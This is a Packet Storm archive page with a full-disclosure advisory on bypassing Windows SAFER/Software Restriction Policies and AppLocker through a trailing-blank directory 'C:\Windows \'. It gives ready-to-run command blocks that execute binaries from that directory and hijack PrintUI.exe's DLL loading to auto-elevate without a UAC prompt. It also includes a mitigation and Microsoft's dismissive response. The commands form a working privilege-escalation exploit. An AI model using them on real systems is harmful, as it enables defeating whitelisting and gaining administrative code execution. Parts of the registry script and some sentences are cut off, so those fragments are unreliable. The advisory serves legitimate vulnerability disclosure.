what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft SAFER Bypass

Microsoft SAFER Bypass
Posted Apr 30, 2021
Authored by Stefan Kanthak

A new SAFER bypass was discovered that affects older versions of windows.

tags | exploit
systems | windows
SHA-256 | af2bc8f393023dfcfdbaf3b86d4f45468c9560916410eab2deed331e64585960

Microsoft SAFER Bypass

Change Mirror Download
Hi @ll,

Microsoft introduced SAFER alias Software Restriction Policies (SRP) with
Windows XP about 20 years ago.
See <https://msdn.microsoft.com/en-us/library/ms722422.aspx> for the API,
plus the TechNet articles "How Software Restriction Policies Work"
<https://technet.microsoft.com/en-us/library/cc786941.aspx> and
"Using Software Restriction Policies to Protect Against Unauthorized Software"
<https://technet.microsoft.com/en-us/library/bb457006.aspx> for the use case.

"Using Software Restriction Policies to Protect Against Unauthorized Software"
<https://technet.microsoft.com/en-us/library/cc507878.aspx> and
"Application Lockdown with Software Restriction Policies"
were published some years later for Windows Vista.

Windows 7 then introduced AppLocker as successor to SAFER/SRP, available but
only in Enterprise and Server editions.

A basic whitelist which allows (unprivileged) users to execute applications,
scripts, DLLs etc. only from the write-protected directories "C:\Windows\"
and "C:\Program Files\", on 64-bit editions also "C:\Program Files (x86)\",
and below, but excludes the user-writable directory "C:\Windows\Temp\", can
be setup with the following registry script which uses just 5 path rules:

--- SAFER.REG ---

"DefaultLevel"=dword:00000000 ; disallowed
"PolicyScope"=dword:00000001 ; all users except (elevated) 'Administrators'
"TransparentEnabled"=dword:00000002 ; all executables and DLLs




; CAVEAT: uncomment the following 2 lines only on 64-bit editions!
;"ItemData"="C:\\Program Files (x86)"

"ItemData"="C:\\Program Files"
--- EOF ---

Almost 10 years ago, Microsoft fixed an AppLocker and SAFER/SRP bypass
with the hotfix <https://support.microsoft.com/kb/2532445> for Windows 7
and Windows Server 2008 R2, but left older versions vulnerable -- and
made a rather poor job.

4 years ago I showed the other bypass of SAFER/SRP and AppLocker, plus
its mitigation: see <https://seclists.org/bugtraq/2017/Mar/77> alias
<https://seclists.org/fulldisclosure/2017/Mar/69>, plus

JFTR: the "future version of Windows" where this bypass should have
been fixed according to the MSRC has not yet been seen anywhere!

It's time to show another bypass: to evaluate path rules, SAFER/SRP
(and to my knowledge AppLocker too) relies on the Win32 functions
GetFullPathName(), GetLongPathName() and GetShortPathName() (see
<https://msdn.microsoft.com/en-us/library/aa364980.aspx> and
which but fail for pathnames with a trailing blank: see

Due to these bugs, SAFER/SRP and AppLocker treat the pathname
"C:\Windows \..." like "C:\Windows\..."


0. If you don't have SAFER/SRP or AppLocker already setup, log on
to the user account created during Windows setup and import the
registry script shown above, then reboot.

1. Log on to an arbitrary (unprivileged) user account, start the
command processor and run the following (first block of) command

MKDIR "%SystemDrive%\Foo" && (
COPY "%COMSPEC%" "%SystemDrive%\Foo\Bar.exe" && (
START "SAFER" /WAIT "%SystemDrive%\Foo\Bar.exe"
ECHO 1>"%SystemDrive%\Foo\Bar.cmd" @ECHO Just a batch script
CALL "%SystemDrive%\Foo\Bar.cmd"
ECHO 1>"%SystemDrive%\Foo\Bar.vbs" WScript.Echo "Just a Visual Basic script"
START "SAFER" /WAIT "%SystemDrive%\Foo\Bar.vbs"
RMDIR /Q /S "%SystemDrive%\Foo"))

Both SAFER and AppLocker block execution in the directory "C:\Foo\"

2. Run the following (second block of) command lines:

MKDIR "%SystemRoot% \" && (
COPY "%COMSPEC%" "%SystemRoot% \Dummy.exe" && (
START "OOPS!" /WAIT "%SystemRoot% \Dummy.exe"
ECHO 1>"%SystemRoot% \Dummy.vbs" WScript.Echo "Just a Visual Basic script"
START "OOPS!" /WAIT "%SystemRoot% \Dummy.vbs"
RMDIR /Q /S "%SystemRoot% \"))

An unprivileged user can execute (a copy of) the command processor
(as well as any other executable) in the directory "C:\Windows \"!

NOTE: the following 2 steps are optional and solely for entertainment!

3. Run the following (third block of) command lines:

MKDIR "%SystemRoot% \" && (
COPY "%SystemRoot%\System32\PrintUI.exe" "%SystemRoot% \PrintUI.exe" && (
START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
"%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!
COPY "%SystemRoot%\System32\ShUnimpl.dll" "%SystemRoot% \PrintUI.dll"
START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
"%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!
RMDIR /Q /S "%SystemRoot% \"))

Both START commands trigger a BLUE UAC prompt which displays
"Verified Publisher: Microsoft Windows", i.e. the security theatre
known as UAC determines "C:\Windows \" to be a TRUSTED directory!

4. Finally log on to the user account created during Windows setup,
start the command processor (UNELEVATED!) and run just the third
block of command lines.

The copy of PrintUI.exe auto-elevates without UAC prompt, then loads
and executes the copy of ShUnimpl.dll (or any other DLL copied as
PrintUI.dll into its application directory) with administrative rights!
Both the missing dialog box "Change printer settings" and the exit
code 1114 alias ERROR_DLL_INIT_FAILED from the second START command
indicate that the copy of ShUnimpl.dll was loaded instead of the real

The Common Weaknesses and Exposures classifies such misbehavior,
which results in arbitrary code execution (here with escalation of
privilege), as
- CWE-426: Untrusted Search Path
- CWE-427: Uncontrolled Search Path Element

The Common Attack Pattern Enumeration and Classification lists it as
- CAPEC-471: Search Order Hijacking


Remove the permission to create directories in the root directory of the
system drive for 'Authenticated Users':

ICACLS.exe %SystemDrive%\ /Remove:g *S-1-5-11

stay tuned, and NEVER use Windows in default configuration/installation!
Stefan Kanthak

PS: I reported these 2 bypasses to the MSRC, where case 64652 was opened.
Some days later I received the following reply:

| We were unfortuantely unable to reproduce this issue, however based on
| what you have described:
| A UAC bypass only for Administrators - UAC is not considered a security
| boundary.
| A SRP bypass, which is also not considered a security boundary.
| As a result, this does not meet the bar for servicing.
| For this reason I have closed this case.

NOBODY runs any command as 'Administrator' here, but just as the
UNPRIVILEGED and UNELEVATED user created during Windows setup,
which Joe and Jane Average use for their day-to-day work!

Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By